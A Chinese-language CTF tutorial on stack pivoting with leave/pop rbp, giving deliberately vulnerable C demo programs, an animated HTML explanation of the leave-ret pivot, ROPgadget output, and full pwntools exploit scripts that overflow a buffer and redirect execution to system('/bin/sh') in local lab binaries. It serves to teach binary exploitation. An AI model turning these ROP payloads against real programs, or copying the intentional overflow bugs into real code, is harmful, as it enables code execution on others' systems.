本质:将rbp/rsp迁移至其它地方的一种手段使用指令:

leave、pop rbp

目的:

①可以与输入函数搭配使用,实现任意地址写

②变相增加溢出长度。

栈迁移学习-CSDN博客

①可以与输入函数搭配使用,实现任意地址写

pwn技术分享-栈迁移1 - bilibili.com

demo1

以下是一个例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// gcc -z execstack -fno-stack-protector -no-pie -z norelro -o demo6 demo6.c

#include <stdio.h>

int passwd = 0;

int in_test1() {
char str1[0x48];
printf("input2:");
read(0, str1, 0x58);
return 0;
}

int init_func() {
setvbuf(stdin, NULL, 2, 0);
setvbuf(stdout, NULL, 2, 0);
setvbuf(stderr, NULL, 2, 0);
return 0;
}

int main() {
int x;
init_func();
in_test1();
printf("input1:");
scanf("%ld", &x);
if (passwd == 0x1234 && x == 0x1234) {
system("/bin/sh");
}
return 0;
}

编译一下即可(linux环境)

这里是主函数和test函数,思路是利用栈迁移的办法,把rbp转移到passwd+0xC(当然这里的0xC根据不同的编译环境会有变化的)的地址,此时rbp+var_C=passwd+0xC-0xC=passwd;然后再执行main函数,这样一来x和passwd指向的是同一个地址,也就是说下面的if判断其实指向的是同一个值。(具体动调可以参考上面的视频)

这里我们可以看看ida的汇编代码:

为什么是**passwd_addr+0xC**?

原因是实际赋值的地址是rbp+var_C,而var_C= dword ptr - 0xCh

也就是说需要让**passwd_addr**加上**0xCh**之后再减回去才能做到给passwd赋值

dword ptr 是汇编语言里的“操作数大小前缀”,用来告诉 CPU:“我这次要访问的内存单元是 4 字节(double-word)。”

以下下是exp:

py中动态调试:gdb.attach(io)

②变相增加溢出长度。

正常情况下做栈溢出的题(扫盲)

扫盲:传参顺序rdi,rsi,rdx,rcx,r8,r9


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
低地址  ←  栈顶 (RSP指向这里)
┌─────────────────────┐
│ buffer[0] │ <- buffer起始
│ ... │
│ buffer[79] │ <- buffer最高索引
├─────────────────────┤
│ (其他局部变量) │ <- 可能存在的其他变量
├─────────────────────┤
│ 旧的RBP │ <- 8字节 (64位)
├─────────────────────┤
│ 返回地址 (RIP) │ <- 8字节 (64位)
├─────────────────────┤
│ 函数参数 │ <- 调用者使用的参数
└─────────────────────┘
高地址 ← 栈底
### demo2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//在程序目录下用该指令编译:gcc -z execstack -fno-stack-protector -no-pie -z norelro -O0 demo2.c
//得到一个a.out的程序

#include <stdio.h>
#include <stdlib.h>
int passwd = 0x0;

int in_test1(){
char str1[0x48];
printf("str1 is %p,input2:",&str1);
read(0,str1,0x60);
return 0;
}

int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

int backdor(char* buf){
system(buf);
}

void tmp_tmp(){
asm("pop %rdi;ret;");
}
//这里题目很好心的给了一个pop rdi
int main(){
int x;
init_func();
in_test1();
return 0;
}

逻辑是:

先溢出(可以覆盖0x10(dec=16)个字节,先覆盖保存的rbp(即旧的rbp,可以理解成caller的基地址),再覆盖返回地址),修改返回地址(就是被覆盖之后他还是会接着执行剩下的汇编指令的)

把retn换成覆盖成leave,也就是执行两次;然后再在栈上放上对应的rdi、/bin/sh、backdoor即可。

重点是**执行两次leave**

这里我让gemini写了一个html动画

html动画
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Stack Pivot & ROP 动画演示</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
.stack-cell {
transition: all 0.3s ease;
height: 48px;
border: 1px solid #444;
display: flex;
align-items: center;
justify-content: center;
position: relative;
font-family: monospace;
}
.pointer-container {
position: absolute;
right: 8px;
display: flex;
flex-direction: column;
gap: 2px;
align-items: flex-end;
z-index: 30;
}
.pointer-tag {
padding: 1px 6px;
border-radius: 3px;
font-size: 10px;
font-weight: bold;
color: white;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
white-space: nowrap;
}
.tag-rsp { background: #ef4444; }
.tag-rbp { background: #3b82f6; }
.tag-rip { background: #10b981; }

.highlight-change {
background-color: #fef08a !important;
color: #b91c1c !important;
border-color: #f59e0b !important;
}
.memory-row:nth-child(even) { background-color: #f9fafb; }
.hidden-content { color: transparent !important; border-style: dashed !important; opacity: 0.3; }
.revealed-content { animation: fadeIn 0.5s forwards; }
@keyframes fadeIn {
from { color: transparent; }
to { color: #374151; }
}
&lt;/style&gt;

</head>
<body class="bg-gray-100 min-h-screen p-4 md:p-8 font-sans text-gray-800">
<div class="max-w-6xl mx-auto bg-white rounded-xl shadow-2xl p-6 border border-gray-200">
<h1 class="text-2xl font-bold mb-6 text-gray-800 border-b pb-4 text-center">栈溢出:Stack Pivot (Leave-Ret) 深度演示</h1>

    &lt;div class=&quot;grid grid-cols-1 lg:grid-cols-12 gap-8&quot;&gt;
        &lt;!-- 状态面板 --&gt;
        &lt;div class=&quot;lg:col-span-4 space-y-4&quot;&gt;
            &lt;div class=&quot;bg-gray-50 p-5 rounded-xl border border-gray-200 shadow-sm&quot;&gt;
                &lt;h2 class=&quot;font-bold mb-4 text-xs uppercase tracking-wider text-gray-500&quot;&gt;寄存器状态&lt;/h2&gt;
                &lt;div class=&quot;space-y-3 font-mono text-lg&quot;&gt;
                    &lt;div class=&quot;flex justify-between items-center border-b border-gray-100 pb-2&quot;&gt;
                        &lt;span class=&quot;text-gray-400 text-sm&quot;&gt;RSP&lt;/span&gt;
                        &lt;span id=&quot;reg-rsp&quot; class=&quot;font-bold text-red-600 bg-red-50 px-2 rounded&quot;&gt;0x??&lt;/span&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;flex justify-between items-center border-b border-gray-100 pb-2&quot;&gt;
                        &lt;span class=&quot;text-gray-400 text-sm&quot;&gt;RBP&lt;/span&gt;
                        &lt;span id=&quot;reg-rbp&quot; class=&quot;font-bold text-blue-600 bg-blue-50 px-2 rounded&quot;&gt;0x??&lt;/span&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;flex justify-between items-center border-b border-gray-100 pb-2&quot;&gt;
                        &lt;span class=&quot;text-gray-400 text-sm&quot;&gt;RIP&lt;/span&gt;
                        &lt;span id=&quot;reg-rip&quot; class=&quot;font-bold text-green-600 bg-green-50 px-2 rounded&quot;&gt;0x??&lt;/span&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
            
            &lt;div class=&quot;bg-gray-900 p-5 rounded-xl shadow-inner&quot;&gt;
                &lt;h2 class=&quot;font-bold mb-2 text-xs uppercase tracking-wider text-gray-500&quot;&gt;当前原子指令&lt;/h2&gt;
                &lt;div id=&quot;current-instr&quot; class=&quot;text-green-400 font-mono text-xl min-h-[48px] flex items-center&quot;&gt;
                    -
                &lt;/div&gt;
            &lt;/div&gt;

            &lt;div class=&quot;grid grid-cols-2 gap-3&quot;&gt;
                &lt;button onclick=&quot;prevStep()&quot; id=&quot;prev-btn&quot; class=&quot;bg-white border-2 border-gray-200 hover:border-gray-400 text-gray-700 font-bold py-3 px-4 rounded-lg transition disabled:opacity-30&quot;&gt;
                    上一步
                &lt;/button&gt;
                &lt;button onclick=&quot;nextStep()&quot; id=&quot;next-btn&quot; class=&quot;bg-blue-600 hover:bg-blue-700 text-white font-bold py-3 px-4 rounded-lg shadow-md transition&quot;&gt;
                    下一步
                &lt;/button&gt;
                &lt;button onclick=&quot;reset()&quot; class=&quot;col-span-2 border border-gray-300 hover:bg-100 text-gray-500 font-medium py-2 px-4 rounded-lg transition text-sm&quot;&gt;
                    重置演示
                &lt;/button&gt;
            &lt;/div&gt;

            &lt;div class=&quot;p-5 bg-amber-50 rounded-xl text-sm text-amber-900 leading-relaxed border border-amber-100 shadow-sm min-h-[150px]&quot;&gt;
                &lt;div class=&quot;flex items-center font-bold mb-2&quot;&gt;
                    &lt;svg class=&quot;w-4 h-4 mr-2&quot; fill=&quot;currentColor&quot; viewBox=&quot;0 0 20 20&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z&quot; clip-rule=&quot;evenodd&quot;&gt;&lt;/path&gt;&lt;/svg&gt;
                    详细步骤说明
                &lt;/div&gt;
                &lt;p id=&quot;step-description&quot;&gt;点击“下一步”开始。&lt;/p&gt;
            &lt;/div&gt;
        &lt;/div&gt;

        &lt;!-- 栈内存展示 --&gt;
        &lt;div class=&quot;lg:col-span-8&quot;&gt;
            &lt;div class=&quot;flex font-bold text-gray-400 text-[10px] uppercase tracking-widest mb-3 px-4&quot;&gt;
                &lt;div class=&quot;w-20&quot;&gt;地址&lt;/div&gt;
                &lt;div class=&quot;flex-1 text-center&quot;&gt;内存数据 (Value)&lt;/div&gt;
                &lt;div class=&quot;w-40 text-right&quot;&gt;备注&lt;/div&gt;
            &lt;/div&gt;
            &lt;div id=&quot;stack-container&quot; class=&quot;border-2 border-gray-300 rounded-xl overflow-hidden relative shadow-lg bg-white&quot;&gt;
                &lt;!-- 动态生成的栈行 --&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;script&gt;
    const initialStack = [
        { addr: '0xa1', val: '0x1111', note: 'New RBP Content', id: 'm-a1', hidden: true },
        { addr: '0xa9', val: 'pop_rdi', note: 'ROP Gadget 1', id: 'm-a9', hidden: true },
        { addr: '0xb1', val: '0xc8', note: 'Arg: /bin/sh addr', id: 'm-b1', hidden: true },
        { addr: '0xb9', val: 'ret', note: 'Stack Align', id: 'm-b9', hidden: true },
        { addr: '0xc1', val: 'backdoor', note: 'Target Func', id: 'm-c1', hidden: true },
        { addr: '...', val: '...', note: '', id: 'gap1', hidden: false },
        { addr: '0xc8', val: '/bin/sh', note: 'String', id: 'm-c8', hidden: false },
        { addr: '...', val: '...', note: '', id: 'gap2', hidden: false },
        { addr: '0xd1', val: '0xe1', note: 'Saved RBP', id: 'm-ebp-loc', hidden: false },
        { addr: '0xd9', val: 'leave_ret', note: 'Return Addr', id: 'm-ret-loc', hidden: false }
    ];

    let currentStepIndex = 0;

    const steps = [
        {
            instr: &quot;Initial State&quot;,
            desc: &quot;正常栈布局。RBP指向0xd1。此时攻击者已溢出缓冲区,准备修改返回地址。&quot;,
            rsp: '0xa1', rbp: '0xd1', rip: '0x1000',
            action: (data) =&gt; {}
        },
        {
            instr: &quot;Overflow!&quot;,
            desc: &quot;缓冲区溢出发生:0xd1处的旧RBP被覆盖为0xa1,0xd9处的返回地址被覆盖为leave_ret gadget的地址。&quot;,
            rsp: '0xa1', rbp: '0xd1', rip: '0x1000',
            action: (data) =&gt; {
                data.find(i =&gt; i.addr === '0xd1').val = '0xa1';
                data.find(i =&gt; i.addr === '0xd1').highlight = true;
                ['0xa1', '0xa9', '0xb1', '0xb9', '0xc1'].forEach(a =&gt; data.find(i =&gt; i.addr === a).hidden = false);
            }
        },
        {
            instr: &quot;leave (1/2): mov rsp, rbp&quot;,
            desc: &quot;函数正常结束,开始执行自身的leave指令。第一步:将RBP的值赋给RSP。RSP移至0xd1。&quot;,
            rsp: '0xd1', rbp: '0xd1', rip: 'leave',
            action: (data) =&gt; {
                data.find(i =&gt; i.addr === '0xd1').highlight = true;
            }
        },
        {
            instr: &quot;leave (2/2): pop rbp&quot;,
            desc: &quot;leave指令第二步:pop rbp。从栈顶(0xd1)弹出值到RBP。RBP变为0xa1,RSP步进到0xd9。注意:RBP已被劫持!&quot;,
            rsp: '0xd9', rbp: '0xa1', rip: 'leave',
            action: (data) =&gt; {}
        },
        {
            instr: &quot;ret (1/2): pop rip&quot;,
            desc: &quot;执行ret指令。逻辑上等同于 pop rip。从栈顶(0xd9)取出劫持后的返回地址(leave_ret)。&quot;,
            rsp: '0xd9', rbp: '0xa1', rip: 'ret',
            action: (data) =&gt; {
                data.find(i =&gt; i.addr === '0xd9').active = true;
            }
        },
        {
            instr: &quot;ret (2/2): jmp rip&quot;,
            desc: &quot;ret完成。RSP + 8 移动到 0xe1。程序跳转到 gadget 地址执行:这导致程序第二次进入 leave 指令逻辑。&quot;,
            rsp: '0xe1', rbp: '0xa1', rip: 'leave_ret',
            action: (data) =&gt; {}
        },
        {
            instr: &quot;leave (1/2): mov rsp, rbp&quot;,
            desc: &quot;第二次执行leave。第一步:rsp = rbp。由于RBP已经是0xa1,RSP瞬间跳回了低地址的攻击者控制区!&quot;,
            rsp: '0xa1', rbp: '0xa1', rip: 'leave',
            action: (data) =&gt; {}
        },
        {
            instr: &quot;leave (2/2): pop rbp&quot;,
            desc: &quot;第二次执行leave。第二步:pop rbp。从0xa1弹出值。RBP变为0x1111。RSP步进到0xa9。&quot;,
            rsp: '0xa9', rbp: '0x1111', rip: 'leave',
            action: (data) =&gt; {}
        },
        {
            instr: &quot;ret: pop rip (ROP Start)&quot;,
            desc: &quot;第二次leave后的ret动作。从0xa9弹出 pop_rdi 地址到RIP。ROP链正式开始执行。&quot;,
            rsp: '0xb1', rbp: '0x1111', rip: 'pop_rdi',
            action: (data) =&gt; {
                data.find(i =&gt; i.addr === '0xa9').active = true;
            }
        },
        {
            instr: &quot;pop rdi; ret&quot;,
            desc: &quot;pop rdi将0xc8弹出到RDI寄存器。随后ret指令将RIP设置为backdoor地址。RSP移至0xc1。&quot;,
            rsp: '0xc1', rbp: '0x1111', rip: 'backdoor',
            action: (data) =&gt; {
                data.find(i =&gt; i.addr === '0xb1').active = true;
            }
        },
        {
            instr: &quot;Exploit Success!&quot;,
            desc: &quot;程序跳转到 backdoor 执行,且 RDI 已通过 ROP 链指向了 /bin/sh 字符串。攻击完成。&quot;,
            rsp: '0xc9', rbp: '0x1111', rip: 'backdoor',
            action: (data) =&gt; {
                data.find(i =&gt; i.addr === '0xc1').highlight = true;
            }
        }
    ];

    function renderStack(data, rspAddr, rbpAddr, ripAddr) {
        const container = document.getElementById('stack-container');
        container.innerHTML = '';
        data.forEach(item =&gt; {
            const row = document.createElement('div');
            row.className = `memory-row flex items-center border-b last:border-0`;
            
            const isRsp = item.addr === rspAddr;
            const isRbp = item.addr === rbpAddr;
            const isRip = item.addr === ripAddr;
            
            const valClass = item.hidden ? 'hidden-content' : 'revealed-content';
            const highlightClass = item.highlight ? 'highlight-change' : '';
            const activeClass = item.active ? 'bg-green-50' : '';

            row.innerHTML = 
                &lt;div class=&quot;w-20 text-[10px] font-mono text-gray-400 p-2 border-r bg-gray-50 flex items-center justify-center&quot;&gt;
                    ${item.addr}
                &lt;/div&gt;
                &lt;div id=&quot;${item.id}&quot; class=&quot;flex-1 stack-cell font-mono font-bold text-gray-700 ${valClass} ${highlightClass} ${activeClass}&quot;&gt;
                    &lt;span&gt;${item.val}&lt;/span&gt;
                    &lt;div class=&quot;pointer-container&quot;&gt;
                        ${isRsp ? '&lt;div class=&quot;pointer-tag tag-rsp&quot;&gt;RSP&lt;/div&gt;' : ''}
                        ${isRbp ? '&lt;div class=&quot;pointer-tag tag-rbp&quot;&gt;RBP&lt;/div&gt;' : ''}
                        ${isRip ? '&lt;div class=&quot;pointer-tag tag-rip&quot;&gt;RIP指向此地址内容&lt;/div&gt;' : ''}
                    &lt;/div&gt;
                &lt;/div&gt;
                &lt;div class=&quot;w-40 text-[9px] text-gray-400 px-3 italic text-right leading-tight&quot;&gt;
                    ${item.note}
                &lt;/div&gt;
            ;
            container.appendChild(row);
        });

        document.getElementById('reg-rsp').innerText = '0x' + rspAddr.replace('0x','');
        document.getElementById('reg-rbp').innerText = '0x' + rbpAddr.replace('0x','');
        document.getElementById('reg-rip').innerText = ripAddr.startsWith('0x') ? ripAddr : 'Exec: ' + ripAddr;
    }

    function updateUI() {
        const state = steps[currentStepIndex];
        document.getElementById('current-instr').innerText = state.instr;
        document.getElementById('step-description').innerText = state.desc;
        
        let currentData = JSON.parse(JSON.stringify(initialStack));
        for (let i = 0; i &lt;= currentStepIndex; i++) {
            steps[i].action(currentData);
        }

        renderStack(currentData, state.rsp, state.rbp, state.rip);
        
        document.getElementById('prev-btn').disabled = currentStepIndex === 0;
        document.getElementById('next-btn').innerText = currentStepIndex === steps.length - 1 ? &quot;完成&quot; : &quot;下一步&quot;;
        document.getElementById('next-btn').disabled = currentStepIndex === steps.length - 1;
    }

    function nextStep() {
        if (currentStepIndex &lt; steps.length - 1) {
            currentStepIndex++;
            updateUI();
        }
    }

    function prevStep() {
        if (currentStepIndex &gt; 0) {
            currentStepIndex--;
            updateUI();
        }
    }

    function reset() {
        currentStepIndex = 0;
        updateUI();
    }

    window.onload = updateUI;
&lt;/script&gt;

</body>
</html>


同时引入pwngdb分屏看的方法

好现在来看exp如何写

一开始会打印buffer的地址printf("str1 is %p,input2:", buf);

str1 is **0x7fffffffdd20**,input2:aaaaaaaa←返回的地址长14字节

1
2
3
4
5
6
7
8
9
$ ROPgadget --binary a.out --only "pop|ret"
Gadgets information
============================================================
0x000000000040117d : pop rbp ; ret
0x000000000040126f : pop rdi ; ret
0x000000000040101a : ret

.text:00000000004011DD 058 C9 leave

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

context(log_level='debug',arch='amd64',os='linux')

elf = ELF(r'/mnt/hgfs/E/CTF/比赛/2025校内赛决赛/项目/pwn/output/a.out')
p = process(r'/mnt/hgfs/E/CTF/比赛/2025校内赛决赛/项目/pwn/output/a.out')

# stack大致长这样:b'0x7fffffffdd20'
p.recvuntil(b'str1 is ')
stack=int(p.recv(14),16)

pop_rdi_ret_addr=0x40126f
ret_addr=0x40101a
leave_ret_addr=0x4011DD
backdoor_addr=elf.sym['backdor']

payload = flat([
0x1111,
pop_rdi_ret_addr,
stack + 40,
ret_addr,
backdoor_addr,
b'/bin/sh\x00'
# flat(b'/bin/sh')=7
# flat(b'/bin/sh\x00')=8
])
payload =payload.ljust(0x50,b'a')
payload +=flat([stack,leave_ret_addr])
p.sendafter("input2:", payload)

p.interactive()

demo3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//在程序目录下用该指令编译:gcc -z execstack -fno-stack-protector -no-pie -z norelro -O0 demo3.c
//得到一个a.out的程序

#include <stdio.h>
#include <stdlib.h>
int passwd = 0x0;

int in_test1(){
char str1[0x48];
printf("input2:");
read(0,str1,0x60);
return 0;
}

int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

int backdor(char* buf){
system(buf);
}

void tmp_tmp(){
asm("pop %rdi;ret;");
}

int main(){
int x;
init_func();
in_test1();
return 0;
}

唯一不同在于不打印栈地址了,所以需要把shell写到bss段上:

我们找到了可写地址是0x403000-0x404000,注意一下原本程序到的地址:

稍微距离这里远一点:可以给stack给一个地址0x403600

可以尝试用excel画一下栈的运行逻辑,就应该能知道payload构成了:

1.先利用栈溢出把保存的rbp地址转成stack地址返回地址转成read函数地址

2.此时rbp已经到stack那边去了,然后留下rsp在原栈;执行leave、return指令之后rsp来到新栈处、rbp来到stack-0x50处,rsp+8

3.stack下一个地址可以用leave_retn指令、也可以用leave:前者的填充栈需要用两个0x1,0x1填充(retn会让rsp+8)、后者一个即可

4.接下来的payload跟原本的差不多了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context(arch='amd64', os='linux' ,log_level='debug')
elf=ELF(r'/mnt/hgfs/E/CTF/比赛/2025校内赛决赛/项目/pwn/output/3.out')
p=process(r'/mnt/hgfs/E/CTF/比赛/2025校内赛决赛/项目/pwn/output/3.out')

stack = 0x403c50
read_addr = 0x4011B6
#这里的read函数地址应该是整个读取50字节的
leave_addr=0x4011D6
ret_addr=0x40101a
pop_rdi_ret_addr=0x401268
backdoor_addr=elf.sym['backdor']

payload = b'a'*0x50
payload += flat([stack,read_addr])
p.sendafter(b'input2:',payload)

payload=flat([
0x1,
pop_rdi_ret_addr,
stack - 40,
ret_addr,
backdoor_addr,
b'/bin/sh\x00'
])
payload = payload.ljust(0x50,b'a')
payload += flat([stack-0x50,leave_addr])

p.send(payload)
p.interactive()